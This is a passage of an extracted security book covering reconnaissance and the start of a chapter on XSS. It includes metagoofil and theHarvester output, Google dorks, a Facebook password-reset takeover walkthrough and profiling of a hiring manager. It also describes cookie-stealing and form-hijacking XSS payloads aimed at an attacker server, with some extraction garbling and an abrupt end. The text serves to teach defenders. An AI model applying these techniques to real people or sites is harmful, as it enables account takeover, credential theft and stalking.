3\n [ 1/3 ] http://www.example.com/english/lic/gl_app1.xls\n [ 2/3 ] http://www.example.com/english/lic/gl_app2.xls\n [ 3/3 ] http://www.example.com/english/lic/gl_app3.xls\n[+] Searching in example.com for: ppt\n[+] Total results in google: 60\n[+] Limit: 3\n [ 1/3 ] http://www.example.com/english/lic/gl_app1.ppt\n [ 2/3 ] http://www.example.com/english/lic/gl_app1.ppt\n [ 3/3 ] http://www.example.com/english/lic/gl_app1.ppt\n[+] Searching in example.com for: sdw\n[+] Total results in google: 0\n[+] Searching in example.com for: mdb\n[+] Total results in google: 0\n[+] Searching in example.com for: sdc\n[+] Total results in google: 0\n[+] Searching in example.com for: odp\n[+] Total results in google: 0\n[+] Searching in example.com for: ods\n[+] Total results in google: 0\nUsernames found:\n================\nrmiyazaki\ntyamanda\nhlee\nakarnik\n10 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n"
},
{
"page_number": 27,
"text": "April Jacobs\nRwood\nAmatsuda\nDmaha\nDock, Matt\nPaths found:\n============\nC:\\WINNT\\Profiles\\Dmaha\\\nC:\\TEMP\\Dmaha\\\nC:\\Program Files\\Microsoft Office\\Templates|Presentation Designs\\example\nC:\\WINNT\\Profiles\\Rwood\n[+] Process finished\nFigure 1-6. SEAT using 15 threads, searching for vulnerabilities using multiple search engines\nThe publicly available Python script metagoofil.py aids in searching,\ngathering, and extracting metadata from documents. It is available from\nhttp://www.edge-security.com/metagoofil.php.\nSearching for Source Code\nDevelopers will often post code on public forums when they discover a bug they cannot\nsolve. Too often, these developers will post code without redacting it in any way. It is\nunsettling how often these forums display code that clearly belongs to a specific\norganization.\nInformation such as the developer’s name, internal comments, code descriptions, and\norganizational ownership are among the items you can find in source code that is posted\non public forums on the Internet.\nSearch Engine Hacking | 11\nDownload at WoWeBook.Com\n"
},
{
"page_number": 28,
"text": "Using Google, it is trivial to find some of this code in a short period of time. Using\nsearch terms such as “here is the code” and “here is the exact code” will return many\nresults. Here is a code snippet that we found using Google (the code has been redacted):\n\";\n// Checks to see if $whereto is empty, if so echo error\nif(empty($whereto))\n{\n$error = \"You need to choose a directory.
\";\n}\n// Checks to see if file input field is empty, if so throw an error\nif($whatfile == NULL) {\n$error .= \"You need to choose a file.\";\n}\n//if no errors so far then continue uploading\nif(!empty($whereto) && $whatfile != NULL) {\n$target_path = \"$whereto/\"; // The directory the file will be placed\n...\nThis code snippet describes upload functionality that is on a web server. An attacker\ncan use this code to reverse-engineer how to get a file into a different directory, or how\nto bypass the security mechanisms that are in place.\nLeveraging Social Networks\nAttackers can use social applications such as MySpace and Facebook to gain inordinate\namounts of information about a company’s employees. Information such as an em-\nployee’s hometown, her interests, and even incriminating pictures are available on these\nsites.\nSocial applications attempt to prevent unauthorized parties from viewing users’ infor-\nmation. However, social applications and their users benefit from that information\nbeing publicly available, making it easier for people to find others who share similar\ninterests without knowing them first. Users of social applications are therefore given\nan incentive to share as much data as they can; the more data they share, the more they\nbenefit from the social network.\n12 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n"
},
{
"page_number": 29,
"text": "Facebook and MySpace\nThe popularity of social applications such as Facebook and MySpace has grown ex-\nponentially around the world. These applications are driving a phenomenal paradigm\nshift in how people communicate and collaborate.\nFrom an attacker’s point of view, a wealth of information is available from profiles on\nsocial networking websites. An attacker can obtain an amazing amount of information\nwithout even having an account on some social networking applications, such as My-\nSpace. Alternatively, an attacker can easily create an account to gain the ability to in-\nteract with a targeted individual. For example, an attacker may send friend requests to\nan employee of a specifically targeted company to gain additional knowledge of the\ncompany.\nAbusing Facebook\nSocial applications have many inherent weaknesses despite all of the security built into\nthem. For example, after browsing to Facebook.com, an attacker can click the “For-\ngotten your password?” link and select the option of not having access to his login email\naddress. (This option is legitimately available for Facebook users who do not have\naccess to their original email account and those who have forgotten their Facebook\ncredentials.) Figure 1-7 shows the page the attacker sees in this situation. The attacker\ncan obtain the requested information from the targeted individual’s Facebook profile.\nIf it is not accessible, the attacker can use another social networking site, such as \nLinkedIn or MySpace.\nFigure 1-7. Facebook’s forgotten password functionality; this is only for cases where the user selects\nthat she does not have access to her original email account\nOnce the attacker has obtained and submitted this information, he is presented with\nFigure 1-8. The additional “private” information being requested in this example is the\ntarget’s college graduation year. Figure 1-9 shows the target’s graduation year, obtained\nfrom her LinkedIn profile.\nOnce the additional information has been submitted, Facebook sends the attacker the\nemail shown in Figure 1-10.\nLeveraging Social Networks | 13\nDownload at WoWeBook.Com\n"
},
{
"page_number": 30,
"text": "The attacker responds to the email, as requested by Facebook. After a few hours, the\nattacker receives another email describing how to change the password on the account.\nThis example shows how easy it is to use the biographical information posted on social\napplications to break authentication mechanisms.\nAttacks such as this are becoming more frequent and are gaining media coverage. Dur-\ning the 2008 presidential election, the attack on vice presidential hopeful Sarah Palin’s\nYahoo! email account received abundant media coverage. Figure 1-11 shows a screen-\nshot of a forum post describing how the attacker found all of the necessary information\nto defeat Yahoo!’s security reset mechanisms.\nFigure 1-8. Request for target’s college graduation year\nFigure 1-9. LinkedIn profile showing the year the target graduated college\n14 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n"
},
{
"page_number": 31,
"text": "Figure 1-10. Facebook’s response\nTwitter\nTwitter is a microblogging application. A microblog consists of small entries that users\npost from “connected” devices. More and more people are using Twitter to collect their\nthoughts about different things they encounter and post them to the Internet. Messages\non Twitter are often unedited, informal, and off-the-cuff. Because of this, the informa-\ntion has a tendency to be very accurate and genuine.\nAn attacker can use Twitter’s search interface, http://search.twitter.com, to search Twit-\nter messages given a specific keyword. Depending on the target, it may be beneficial\nfor attackers to seek information about a specific individual or organization.\nIn February 2009, Pete Hoekstra, a member of the U.S. House of Representatives, used\nTwitter to update his precise whereabouts while traveling to Iraq. Figure 1-12 shows\nHoekstra’s message.\nIt is clear from this example how the information individuals put on microblogging\nchannels can aid attackers. In this case, the information Hoekstra twittered could have\naided terrorist efforts that may have jeopardized his security. Messages posted on mi-\ncroblogging channels such as Twitter are therefore extremely important and useful to\nattackers.\nFigure 1-11. Description of how the attacker obtained access to Sarah Palin’s Yahoo! account\nLeveraging Social Networks | 15\nDownload at WoWeBook.Com\n"
},
{
"page_number": 32,
"text": "For more information on the Pete Hoekstra incident, see “Pete Hoekstra\nUses Twitter to Post from Iraq about Secret Trip” at http://www.media\nmouse.org/news/2009/02/pete-hoekstra-twitter-iraq.php.\nTracking Employees\nAttackers do not necessarily limit their attacks to organizations. Often, the attacks are\naimed at specific employees and business units of the target organization. The human\nfactor is still the weakest part of the organization.\nFirst things first: attackers need to gather employee lists and then correlate attack vec-\ntors to them. In doing so, attackers have a better chance of successfully entering the\ntarget organization.\nA critical step for attackers is to gather a target list of employees. This list will often\ncontain employee names, personal and work email addresses, home addresses, work\nand home phone numbers, and some interesting notes about the employees.\nThe information contained in such an employee list can have multiple uses. For ex-\nample, certain information about an employee may suggest that the best attack method\nis social engineering through intimidation. Another employee’s profile may suggest she\nis particularly vulnerable to clicking links from emails received from social applications.\nEmail Harvesting with theHarvester\nOne of the first steps an attacker needs to take is to gather the corporate email addresses\nof employees. Attackers do this by using search engines or by crawling the corporate\nFigure 1-12. Pete Hoekstra’s Twitter message\n16 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n"
},
{
"page_number": 33,
"text": "website. In addition, they can search forums, looking for email addresses ending in the\ntarget domain.\nObtaining email addresses provides a starting point for an attacker; once he has the\nemail addresses, he can research the employees in more depth.\ntheHarvester, also known as goog-mail.py, is a tool for enumerating email addresses\nfrom a target domain using these methods. You can configure theHarvester to use\nGoogle or the MSN search engine, as well as attempt enumeration on PGP servers and\nLinkedIn.com. The following example demonstrates how to use theHarvester.py to find\nemail addresses belonging to example.com using Google as the search engine:\n$ python theHarvester.py -d example.com -b google -l 1000\n*************************************\n*TheHarvester Ver. 1.4 *\n*Coded by laramies *\n*Edge-Security Research *\n*cmartorella@edge-security.com *\n*************************************\nSearching for example.com in google :\n========================================\nTotal results: 326000000\nLimit: 1000\nSearching results: 0\nSearching results: 100\nSearching results: 200\nSearching results: 300\nSearching results: 400\nSearching results: 500\nSearching results: 600\nSearching results: 700\nSearching results: 800\nSearching results: 900\nAccounts found:\n====================\npsurgimath@example.com\ncsmith@example.com\ninfo@example.com\nbrios@example.com\njlee@example.com\n====================\nTotal results: 5\ntheHarvester is available on BackTrack 3 under the /pentest/enumera-\ntion/google directory and is named goog-mail.py. It is also available for\ndownload at http://www.edge-security.com/theHarvester.php.\nTracking Employees | 17\nDownload at WoWeBook.Com\n"
},
{
"page_number": 34,
"text": "Resumés\nUsing online search engines, attackers can search for resumés containing sensitive\ninformation. The amount of “sensitive” information contained in a resumé can be sub-\nstantial. Job seekers will often include information in their resumés that could be con-\nsidered sensitive and therefore could be useful to an attacker.\nThe majority of people building resumés don’t realize attackers can data-mine the\ninformation they include, and therefore will often include details about projects they\nare currently working on. These details can range from benign information or general\nknowledge to information that is intended for an internal audience only.\nAgain, an attacker can use Google to search for resumés containing the name of the\ntarget organization. For example, this search query will return Microsoft Word resumés\nthat contain the phrase “current projects”:\nresume filetype:doc \"current projects\"\nSearches such as this turn up hundreds of results. Searching for current and previous\nemployees of the target organization can reveal information that is important to an\nattacker. Information from resumés can:\n• Reveal programs, databases, and operating systems that are used internally. Sys-\ntems include SAP, MySQL, Oracle, Unix, and Windows. This information may\ninclude version numbers.\n• Reveal previous and current projects. Attackers can search for other resumés that\nhave similar project names to attempt to locate other team members.\n• Allow attackers to link employees who worked on projects together, aiding an\nattacker in identifying social networks.\n• Reveal internal details of projects.\n• Reveal home addresses and phone numbers of current employees that can be used\nin social engineering attacks.\nThe projects listed in the sample resumé illustrated in Figure 1-13 include competitive\nproducts currently in development, information about SAP integration, and a hybrid\nengine purchased by Boeing in September 2006.\n18 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n"
},
{
"page_number": 35,
"text": "Figure 1-13. Resumé with information that could potentially help an attacker\nJob Postings\nIn addition to resumés, job postings can lead attackers to useful information. Job post-\nings are often found on corporate websites or through job search sites (for example,\nMonster.com). Some job postings contain information such as hiring managers’ names,\ncorporate email addresses, or additional information that can aid attackers in tracking\ndown employees.\nUsing information gathered from a simple job posting, along with ideas we presented\nearlier in the chapter, we will demonstrate how we were able to track down a target\nemployee. Our first step was to search a job posting site looking for hiring managers.\nAfter searching Monster.com for a hiring manager from the target organization, we\nacquired the email address shown in Figure 1-14.\nFigure 1-14. Job posting listing the hiring manager’s email address\nOnce we obtained the email address, we used Google to track down information on\nthe hiring manager, as illustrated in Figure 1-15. The information we obtained identi-\nfied the hiring manager’s name and work phone number. We found this information\non the company’s corporate website.\nTracking Employees | 19\nDownload at WoWeBook.Com\n"
},
{
"page_number": 36,
"text": "Figure 1-15. A Google search revealing the hiring manager’s full name and work extension\nNow we had a work number and extension. What other information can we dig up?\nUsing LinkedIn, we searched for the hiring manager along with the name of the or-\nganization. We successfully identified the hiring manager’s profile, which gave us more\ninformation about her. Figure 1-16 is a screenshot of the hiring manager’s LinkedIn\npage, which contains a wealth of information that we could use for nefarious purposes.\nFigure 1-16. The hiring manager’s LinkedIn profile\nNow we have professional information about the target. Can we dig further to identify\nother personal information? Can we use this information to intimidate or blackmail\nthe hiring manager?\nAssume that we browse to some social application sites and use the hiring manager’s\nname as a search term. We can limit the results based on the geographic location listed\nin the target’s LinkedIn profile. We can use additional information to limit results,\nincluding the target’s age and occupation, and even her social contacts. Figure 1-17\nshows the target’s MySpace profile.\n20 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n"
},
{
"page_number": 37,
"text": "Figure 1-17. The hiring manager’s MySpace page\nThis demonstrates the impact that a few pieces of information can have. Using that\ninformation, we were able to obtain additional information about the victim and her\norganization. Obviously, job postings can lead attackers in identifying key people, and\ngive them a starting point for an attack.\nGoogle Calendar\nAttackers can use Google Calendar, located at http://calendar.google.com, to find in-\nformation about companies and their employees. Using a valid Google account, an\nattacker can search through public calendars. Most individuals are aware that public\ncalendars shouldn’t contain sensitive or confidential information. But people often\nforget this fact after they have made their calendar public. Information in public cal-\nendars can include internal company deadlines, internal projects, and even dial-in\ninformation.\nFigure 1-18 shows the dial-in number and code required to attend an IBO teleconfer-\nence. Attackers can use this public information to call in and “overhear” the conference\ncall.\nFigure 1-18. Dial-in information obtained from calendar.google.com\nFigure 1-19 shows another conference call, but outlines more detail about the call. The\ndescription states that three vendors will be making their final pitches to the organiza-\ntion. The description goes on to say that the company is not informing the vendors\nabout the other phone calls to avoid having them “listen in” on their competition’s\ncalls. Why did someone put this in his public calendar for the world to see? It is clear\nhow this may aid an attacker and a competitor.\nTracking Employees | 21\nDownload at WoWeBook.Com\n"
},
{
"page_number": 38,
"text": "What Information Is Important?\nWhat kind of information is important to an attacker and what isn’t? All information\nthat an attacker can find can be used for some purpose. From the attacker’s perspective,\nall information is important. Some information can be more critical than other infor-\nmation. Information that could be deemed critical for an attacker to have would\ninclude:\n• An employee’s personally identifiable information (PII), such as work and home\nphone numbers, work and home addresses, criminal history, Social Security num-\nbers, and credit reports\n• Network layouts, including the number of web servers and mail servers, their lo-\ncations, and the software versions they run\n• Company files, including database files, network diagrams, internal papers and\ndocumentation, spreadsheets, and so forth\n• Company information such as mergers and acquisitions, business partners, hosting\nservices, and so forth\n• Organizational information, including organizational charts detailing the corpo-\nrate structure of who reports to whom\n• Work interactions detailing such information as who gets along at the office, how\noften direct reports communicate with their managers, how often managers com-\nmunicate with their subordinates, how they communicate (e.g., via email, phone,\nBlackBerry), and so forth\nThe information outlined here can be public or private. Attackers who have done their\npreliminary research are rewarded greatly. All of the information obtained during re-\nFigure 1-19. Dial-in information regarding vendor calls\n22 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n"
},
{
"page_number": 39,
"text": "connaissance can benefit the attacker in some way, including leveraging public infor-\nmation to gain internally sensitive information.\nSummary\nIn the past, system administrators have relied on perimeter-based security controls to\nalert them to potential attacks on their networks. However, the techniques that at-\ntackers can use during reconnaissance will not trigger any such perimeter- or network-\nbased controls.\nDue to the popularity of social applications today, it has become difficult for any or-\nganization to keep track of or police the information employees may put out there. The\ninformation-collection avenues for attackers are not limited to social applications, but\ninclude job postings, resumés, and even simple Google searches.\nThe crafty attackers are using, and will continue to use, the types of techniques pre-\nsented in this chapter to gain substantial amounts of data about their potential victims.\nAs you saw in this chapter, the techniques that attackers leverage today often include\ncomponents of social engineering that give the attempts a greater impact and make\nthem extremely hard to detect.\nSummary | 23\nDownload at WoWeBook.Com\n"
},
{
"page_number": 40,
"text": "Download at WoWeBook.Com\n"
},
{
"page_number": 41,
"text": "CHAPTER 2\nInside-Out Attacks: The Attacker Is\nthe Insider\nNot only does the popular perimeter-based approach to security provide little risk re-\nduction today, it is in fact contributing to the increased attack surface criminals are\nusing to launch potentially devastating attacks. In general, the perimeter-based ap-\nproach assumes two types of agents: insiders and outsiders. The outsiders are consid-\nered to be untrusted while the insiders are assumed to be extremely trustworthy. This\ntype of approach promotes the development of architectures where networks are seg-\nregated into clearly delineated “trusted” zones and “untrusted” zones. The obvious\nflaw with the perimeter approach is that all the insiders—that is, the employees of a\nbusiness—are assumed to be fully trustworthy. This chapter will go beyond the obvious\nand expose how the emerging breed of attackers are able to leverage application and\nbrowser flaws to launch “inside-out” attacks, allowing them to assume the role of the\ntrusted insider.\nThe impact of the attacks illustrated in this chapter can be extremely devastating to\nbusinesses that approach security with a perimeter mindset where the insiders are gen-\nerally trusted with information that is confidential and critical to the organization. Each\nof these employees in turn becomes a guard to the business’s secrets; it is their vigilance\nand efforts that will ultimately mean the difference between avoiding an incident and\nallowing an attacker to steal the organization’s secrets. When any one of the employees\nmakes a poor security decision, such as browsing to a malicious website (even with a\nfully patched browser), a malicious outsider has an opportunity to latch onto the in-\nnocent request and make her way into the organization’s internal network with the\ninsider’s privileges. Similarly, when an outsider convinces, forces, or tricks an employee\nto click a link, divulge a vital piece of data, or change some seemingly mundane setting,\nthe outsider becomes the insider. When an employee’s browser, email client, or oper-\nating system is under an attacker’s control, the outsider becomes the insider.\n25\nDownload at WoWeBook.Com\n"
},
{
"page_number": 42,
"text": "The next few sections will present scenarios demonstrating how emerging attack vec-\ntors make it easy for malicious outsiders to latch onto application and browser trans-\nactions, and make their way into an organization’s internal presence.\nMan on the Inside\nThere are many ways to gain access to a corporate internal network, but the most\npopular avenue in today’s web-centric world is the web browser. In today’s corporate\nenvironment, web browsers are installed on almost every machine in any given organ-\nization. Web browsers continuously make outgoing requests from within the business’s\nnetwork infrastructure and consume responses from external web servers. In essence,\nthe web browser has become a window into any given organization. The browser is\nalso a trusted piece of software because it has access to internal as well as external\ncontent. As employees peer out by browsing to external locations, attackers have a\npotential opportunity to peer in by exploiting potential security flaws.\nThe browser has clearly become one of the most probable avenues of exposure. The\nbrowser’s attack surface is huge because it has become a complex piece of software.\nEmployees implicitly trust the browser to retrieve untrusted code from untrusted serv-\ners. Employees also expect the browser (and the browser plug-ins) to execute that code\nin a safe manner. Every day, employees run untrusted code in their browser and or-\nganizations rely on protection mechanisms offered by the browser to guard their secrets.\nKnowing the current and potential attack vectors that can target browsers, it would\nmake sense that corporate firewalls should be configured to prevent untrusted and\nmalicious code from making its way onto a given corporate network. Unfortunately,\ncorporations often need to make security exceptions for the traffic the browser gener-\nates and receives because general firewall technologies are designed to work on the\nnetwork level, not the application level where browser code executes. This is why the\noverwhelming majority of network firewalls do not get in the way of incoming code\nthat browsers eventually execute, many of which are running on desktops deep inside\nthe organizational security perimeter. While network firewalls are busy preventing\nmalicious network traffic from entering an organization, browsers actually invite un-\ntrusted code inside the security perimeter.\nCross-Site Scripting (XSS)\nCross-site scripting (XSS) is the most popular avenue for attack against the corporate\ninternal network. XSS remains the most popular attack against the masses because it\nis easy to find and to launch, while the consequences of the attack can be devastating.\nAlthough the scope of this chapter is beyond simple XSS tactics, no discussion of client-\nside exploitation would be complete without a mention of XSS. This section assumes\nthat the reader is familiar with the concept of XSS. The goal of this section is to illustrate\n26 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider\nDownload at WoWeBook.Com\n"
},
{
"page_number": 43,
"text": "how sophisticated attackers today are able to leverage the most out of XSS\nvulnerabilities.\nThe amount of data that is passed between users and online applications is staggering.\nIt seems that every significant business function has a web interface to manage various\nbusiness actions and peruse data. The enormous amount of sensitive information\npassed in online transactions makes online data theft appealing and lucrative. Of the\nvarious online attacks, XSS remains one of the most prolific. Although numerous XSS\nattack techniques exist, this section will cover a few examples of attacks that focus on\nstealing user information. These attacks will progress in complexity and can be used\nas a foundation for more advanced, targeted attacks.\nIf you are not familiar with XSS, the Wikipedia page at http://en.wikipe\ndia.org/wiki/Cross-site_scripting is a good resource.\nStealing Sessions\nAttackers often use XSS to steal user sessions. The following is the “Hello World” of\nXSS attacks. The simplest payloads look something like this:\nhttp://vulnerable-server.com/vulnerable.jsp?parameter=\">\nThis injected payload ferries the user’s session cookies to an attacker’s server. On the\nattacker’s server, the cookiecatcher.php file records the cookie value and notifies the\nattacker of a successful exploitation:\n\\r\\n\";\nCross-Site Scripting (XSS) | 27\nDownload at WoWeBook.Com\n"
},
{
"page_number": 44,
"text": "mail($recipient, $subject, $mail_body, $header);\n}\n?>\nFigure 2-1 shows the results of an example attack against Gmail.\nFigure 2-1. Attacker’s email inbox following a successful XSS exploit\nYes, it’s that simple. With this PHP code on the attacker’s web server, once someone\nbecomes a victim of an XSS attack the attacker receives an email notifying her of a\nsuccessful XSS attack and allows her to immediately exploit the stolen session and\nimpersonate the victim on the vulnerable website. Once the attacker has stolen the\nvictim’s session, she can track the web pages the victim is viewing, pilfer all the user\ndata associated with the application, and execute transactions with the victim’s privi-\nleges. The web application cannot distinguish between the attacker and the legitimate\nuser and gives both the attacker and the legitimate user all of the legitimate user’s\ninformation and data.\nYou can defeat this type of attack by using the HTTPONLY cookie attribute\nfor the application’s session cookie. JavaScript cannot access cookies\nmarked as HTTPONLY, making attacks that utilize the document.cookie\nobject ineffective. Although the HTTPONLY cookie attribute does not pre-\nvent XSS exploitation, it can help prevent theft of session cookies and\nother session-based attacks.\nInjecting Content\nCramming the entire XSS payload into query strings can be messy and cumbersome. \nMost often, the attacker will need to execute a complicated payload to maximize the\nimpact of the XSS attack. In such situations, the attacker can use external JavaScript\nfiles to house the exploitation payloads. The attacker accomplishes this by injecting a \n\nWhen a reference to an external script is injected, the attacker has the option of storing\nthe entire exploit payload in the external script file (in this case, the file at http://attacker-\nserver.com/payload.js). In this example, the attacker uses the external JavaScript file to\nstore an exploit payload that scans the FORM objects of the login page and changes the\nFORM ACTION so that the user credentials are passed to the attacker’s web server. The\nfollowing code shows the content of the external JavaScript file payload.js:\nfor (i=0;i